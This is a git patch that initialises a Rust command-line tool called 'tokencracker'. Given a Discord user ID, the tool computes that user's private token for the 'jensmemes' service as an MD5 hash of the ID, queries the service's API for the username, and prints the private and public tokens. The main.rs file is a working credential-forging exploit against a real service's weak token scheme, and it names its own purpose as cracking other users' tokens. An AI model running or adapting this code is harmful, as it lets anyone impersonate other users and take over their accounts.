From 086b51d48d8fc459f5e91b36168a34fbf289fd72 Mon Sep 17 00:00:00 2001
From: LordMZTE <lord@mzte.de>
Date: Tue, 10 Nov 2020 23:16:51 +0100
Subject: [PATCH] init

---
 .gitignore               |  5 ++++
 Cargo.toml               |  4 ++++
 rustfmt.toml             | 12 ++++++++++
 tokencracker/Cargo.toml  | 20 ++++++++++++++++
 tokencracker/src/api.rs  | 42 +++++++++++++++++++++++++++++++++
 tokencracker/src/lib.rs  |  6 +++++
 tokencracker/src/main.rs | 50 ++++++++++++++++++++++++++++++++++++++++
 7 files changed, 139 insertions(+)
 create mode 100644 .gitignore
 create mode 100644 Cargo.toml
 create mode 100644 rustfmt.toml
 create mode 100644 tokencracker/Cargo.toml
 create mode 100644 tokencracker/src/api.rs
 create mode 100644 tokencracker/src/lib.rs
 create mode 100644 tokencracker/src/main.rs

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..73c5b53
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
+/target
+.idea
+*.lock
+*.iml
+.vscode
diff --git a/Cargo.toml b/Cargo.toml
new file mode 100644
index 0000000..73383c9
--- /dev/null
+++ b/Cargo.toml
@@ -0,0 +1,4 @@
+[workspace]
+members = [
+    "tokencracker",
+]
diff --git a/rustfmt.toml b/rustfmt.toml
new file mode 100644
index 0000000..1059111
--- /dev/null
+++ b/rustfmt.toml
@@ -0,0 +1,12 @@
+unstable_features = true
+binop_separator = "Back"
+format_code_in_doc_comments = true
+format_macro_matchers = true
+format_strings = true
+imports_layout = "HorizontalVertical"
+match_block_trailing_comma = true
+merge_imports = true
+normalize_comments = true
+use_field_init_shorthand = true
+use_try_shorthand = true
+wrap_comments = true
diff --git a/tokencracker/Cargo.toml b/tokencracker/Cargo.toml
new file mode 100644
index 0000000..27d46fe
--- /dev/null
+++ b/tokencracker/Cargo.toml
@@ -0,0 +1,20 @@
+[package]
+name = "tokencracker"
+version = "0.1.0"
+authors = ["LordMZTE <lord@mzte.de>"]
+edition = "2018"
+
+# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+
+[[bin]]
+name = "jmtoken"
+path = "src/main.rs"
+
+[dependencies]
+anyhow = "1.0.34"
+clap = "2.33.3"
+md5 = "0.7.0"
+reqwest = "0.10.8"
+serde = { version = "1.0.117", features = ["derive"] }
+serde_json = "1.0.59"
+tokio = { version = "~0.2", features = ["full"] }
diff --git a/tokencracker/src/api.rs b/tokencracker/src/api.rs
new file mode 100644
index 0000000..241ad23
--- /dev/null
+++ b/tokencracker/src/api.rs
@@ -0,0 +1,42 @@
+use serde::de::{Error, Unexpected, Visitor};
+use core::fmt::Formatter;
+use serde::{Deserialize, Deserializer};
+#[derive(Deserialize, Debug)]
+pub struct UserResponse {
+    pub status: u16,
+    pub user: JensmemesUser,
+}
+
+#[derive(Deserialize, Debug)]
+pub struct JensmemesUser {
+    pub name: String,
+    pub tokenhash: String,
+    pub userdir: String,
+    pub id: String,
+    #[serde(deserialize_with = "deserialize_uploads")]
+    pub dayuploads: u32,
+}
+
+fn deserialize_uploads<'de, D>(de: D) -> Result<u32, D::Error>
+where
+    D: Deserializer<'de>,
+{
+    struct Vis;
+
+    impl<'de> Visitor<'de> for Vis {
+        type Value = u32;
+
+        fn expecting(&self, fmt: &mut Formatter<'_>) -> Result<(), std::fmt::Error> {
+            write!(fmt, "a u32")
+        }
+
+        fn visit_str<E>(self, v: &str) -> Result<Self::Value, E>
+        where
+            E: Error,
+        {
+            v.parse().map_err(|_| E::invalid_type(Unexpected::Str(v), &"a u32"))
+        }
+    }
+
+    de.deserialize_str(Vis)
+}
diff --git a/tokencracker/src/lib.rs b/tokencracker/src/lib.rs
new file mode 100644
index 0000000..42f0922
--- /dev/null
+++ b/tokencracker/src/lib.rs
@@ -0,0 +1,6 @@
+pub mod api;
+
+/// returns the md5 hash of the input string formatted as hex
+pub fn hex_string_hash(s: &str) -> String {
+    format!("{:x}", md5::compute(s.as_bytes()))
+}
diff --git a/tokencracker/src/main.rs b/tokencracker/src/main.rs
new file mode 100644
index 0000000..1d57440
--- /dev/null
+++ b/tokencracker/src/main.rs
@@ -0,0 +1,50 @@
+use anyhow::Result;
+use clap::{App, Arg};
+use reqwest::{Client, Url};
+use tokencracker::{api::UserResponse, hex_string_hash};
+
+#[tokio::main]
+async fn main() -> Result<()> {
+    let http = Client::builder().build()?;
+
+    let matches = App::new("tokencracker")
+        .arg(
+            Arg::with_name("discord_id")
+                .index(1)
+                .required(true)
+                .help("The discord ID of the user whos token to crack."),
+        )
+        .get_matches();
+
+    let id = matches.value_of("discord_id").unwrap();
+
+    // yes, this is the actual jensmemes token algorythm
+    let private = hex_string_hash(id);
+    let public = hex_string_hash(&private);
+
+    // get discord username from jensmemes API
+    let response = http
+        .get(Url::parse_with_params(
+            "https://data.tilera.xyz/api/jensmemes/user",
+            &[("id", &public)],
+        )?)
+        .send()
+        .await?;
+
+    let username =
+        if let (200..=210, Ok(usr)) = (response.status().as_u16(), response.bytes().await) {
+            let UserResponse { user, .. } = serde_json::from_slice::<UserResponse>(&usr)?;
+            user.name
+        } else {
+            "Not in Database".into()
+        };
+
+    println!(
+        "Username:      {}
+Public Token:  {}
+Private Token: {}",
+        username, public, private
+    );
+
+    Ok(())
+}